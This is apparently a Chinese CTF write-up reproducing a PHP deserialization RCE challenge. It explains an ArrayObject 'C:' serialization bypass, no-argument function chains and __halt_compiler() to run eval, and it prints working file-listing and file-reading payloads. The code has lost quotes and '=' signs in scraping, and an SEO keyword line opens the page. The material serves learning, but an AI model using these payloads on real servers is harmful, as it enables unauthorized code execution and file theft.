做外贸在什么网站上比较好,如何在工商网站做预先核名,网站建设不完整,网上购物平台哪个好湖农大邀请赛 shell_rce 复现
在 2023 年湖南农业大学邀请赛的线上初赛中#xff0c;有一道 shell_rce 题#xff0c;本文将复现该题。
题目内容#xff0c;打开即是代码#xff1a;
?phpclass shell{public $exp;public function __destruct(){$str preg_replace…湖农大邀请赛 shell_rce 复现
在 2023 年湖南农业大学邀请赛的线上初赛中有一道 shell_rce 题本文将复现该题。
题目内容打开即是代码
?phpclass shell{public $exp;public function __destruct(){$str preg_replace(/[^\W]\((?R)?\)/, , $this-exp);$code substr($str , 0, 1);if(preg_match(/^[$code]$/,$str)){eval($this-exp. hello world!); }}
}if(!isset($_GET[exp])){highlight_file(__FILE__);
}if(!preg_match(/^[Oa]|get/i,$_GET[exp])){unserialize($_GET[exp]);
}注意到在反序列化之前先进行了一个判断
preg_match(/^[Oa]|get/i,$_GET[exp]) 。
这段代码使用 PHP 的 preg_match 函数对 $_GET[‘exp’] 变量进行正则表达式匹配。具体而言该正则表达式为 “1|get”其解释如下
^ 表示匹配字符串的开头[Oa] 表示匹配 O 或 a 这两个字符中的任意一个| 表示逻辑或即要么匹配开头的 O 或 a要么匹配 geti 表示不区分大小写
因此该正则表达式可以匹配的字符串包括
以 O 或 a 开头的任意字符串包含 get 的任意字符串不区分大小写
在本代码中若 $_GET[‘exp’] 变量与上述正则表达式匹配成功则返回 true否则返回 false。
如此一来常见的序列化字符串和数组绕过的方法都不管用了。
C 开头的绕过
推荐博客
https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/
这里只用 ArrayObject() 函数做演示具体操作如下
$exp new shell();
$arr array(exp$exp);
$ao new ArrayObject($arr);
echo serialize($ao);这段 PHP 代码的作用如下 创建一个名为 $exp 的对象该对象是 shell 类的一个实例。 创建一个名为 $arr 的数组其中只有一个元素即键名为 “exp”键值为 $exp。 使用 PHP 内置函数 ArrayObject 对 $arr 进行实例化获得一个名为 $ao 的 ArrayObject 对象。 调用 PHP 内置函数 serialize 将 $ao 序列化即将其转换成可以存储或传输的字符串形式输出结果到页面上。
通过以上操作即可将序列化字符串变成以 C 开头的形式绕过第一个检测。
输出结果
C:11:ArrayObject:59:{x:i:0;a:1:{s:3:exp;O:5:shell:1:{s:3:exp;N;}};m:a:0:{}}无参函数 RCE
在 shell 类的 __destruct 方法中有这样的过滤机制
$str preg_replace(/[^\W]\((?R)?\)/, , $this-exp);会将该类中的属性 exp 作一个过滤
该段代码使用 PHP 的 preg_replace 函数对 $this-exp 字符串进行正则表达式替换。具体而言该正则表达式为 “[^\W]\((?R)?\)”其解释如下
[^\W] 表示匹配一个或多个非特殊字符即字母或数字这里的 ^\W 表示取反后表示非特殊字符( 表示匹配左括号(?R) 表示匹配一个递归到起始符号即 “(?R)”的表达式即匹配一个嵌套的模式。所以该正则表达式能够处理有括号嵌套的情况) 表示匹配右括号
因此该正则表达式可以匹配的字符串为类似于 functionName(args) 这样的字符串并且支持函数嵌套例如functionName1(functionName2()) 。其实际含义是匹配一个函数名后紧跟着一对括号其中可以有递归式的参数列表。
当匹配到这种无参函数格式的字符串时就会将其替换为空。
使用无参函数的话所有的值都会被替换为空。假设函数有参那么参数部分将会被保留但是这样的话就无法通过后面的过滤了具体为什么后面会讲。
因此在 C 绕过的基础上可以构造如下的 payload
$exp-exp var_dump(scandir(current(localeconv())));这个 PHP 嵌套函数的作用如下 localeconv() 函数返回当前设置的地区的格式化信息包括货币符号、小数点符号等。它返回一个数组其中包含了与当前地区相关的格式化参数该函数返回的第一个元素的值通常是小数点 “.” 。 current() 函数用于获取数组中的当前元素的值。在这里它用于获取 localeconv() 函数返回的数组的第一个元素的值即一个小数点。 scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数并返回一个包含指定目录中所有文件和文件夹的数组。scandir(.) 表示获取当前目录下的文件列表。
因此该代码的作用是获取当前地区的第一个格式化参数通常是小数点符号然后将该参数作为路径传递给 scandir() 函数从而获取该路径下的文件和文件夹列表。最终使用 var_dump() 函数将该列表输出到页面上以便查看它们的详细信息。
因为 eval 函数的参数结尾必须要带分号所以该字符串的末尾添加了分号如此一来str 字符串就只是一个分号了
__halt_compiler() 中断 eval() 函数的执行
在无参函数绕过之后又进行了一次过滤
$str preg_replace(/[^\W]\((?R)?\)/, , $this-exp);
$code substr($str , 0, 1);
if(preg_match(/^[$code]$/,$str))
{eval($this-exp. hello world!);
}这段 PHP 代码的作用如下 使用 substr 函数从字符串 $str 中取出第一个字符并将其赋值给变量 $code。 使用正则表达式 “/^[$code]$/” 对字符串 s t r 进行匹配。其中 ‘ [ str 进行匹配。其中^[ str进行匹配。其中‘[code] 匹配以 $code 中的字符开头并且由 c o d e 中的字符组成的任何长度的字符串 code 中的字符组成的任何长度的字符串 code中的字符组成的任何长度的字符串 表示匹配到字符串结尾。总的来说该正则表达式表示 $str 只包含 $code 中的字符。 如果匹配成功即 $str 只包含 $code 中的字符那么执行 eval 函数将 $this-exp 和字符串 “hello world!” 连接在一起作为 PHP 代码执行。eval 函数可以将字符串作为 PHP 代码执行因此这里相当于在执行 $this-exp 和 “hello world!” 的拼接结果。如果 $this-exp 中含有函数调用等需要被执行的代码则会在这里被执行。 如果正则表达式匹配失败即 $str 中含有 $code 中未包含的字符则不执行 eval 函数。
已知 str 只是一个分号那么 code 就也是一个分号这样就能通过后面的过滤了。假如 str 不是只有分号的话这里就过不去所以上面要用无参函数。
到这里我们知道$this-exp 字符串中有且只能有无参函数和分号有多少个都可以怎么排列都可以但是不能有其他的东西。
但是问题来了
eval($this-exp. hello world!); 这段代码做一个字符串拼接导致 eval 函数无法正常执行当时想了好久知道赛后放 wp 才知道__halt_compiler() 函数可以中断 eval() 的执行这是连 exit() 都做不到的事。比如说
eval(a();__halt_compiler(); hello world!)那么 eval 函数执行完 a() 函数后执行到 __halt_compiler() 函数时就会中断不再执行后面的代码也不会因为后面的代码不符合规范而报错。
据此构造最终的 payload
$exp new shell();
$exp-exp var_dump(scandir(current(localeconv())));__halt_compiler();;
$arr array(exp$exp);
$ao new ArrayObject($arr);
echo serialize($ao);本地成功输出 想要读取文件的话修改 $exp-exp 的值就可以了。
官方的 wp 中使用 array_rand() 随机获取当前目录下的文件内容。
官方 wp
var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));array_flip() 反转数组中的键值对即将数组中的每个值作为键原来的键作为新的值。
array_rand() 随机获取反转后的数组中的一个键即获取当前文件夹下随机一个文件或文件夹的名称。
输出结果 在上面查看查看当前目录下文件时返回的数组中还有 “.” 和 “…” 两个值所以上面的 payload 可能会不成功需要多试几次。 Oa ↩︎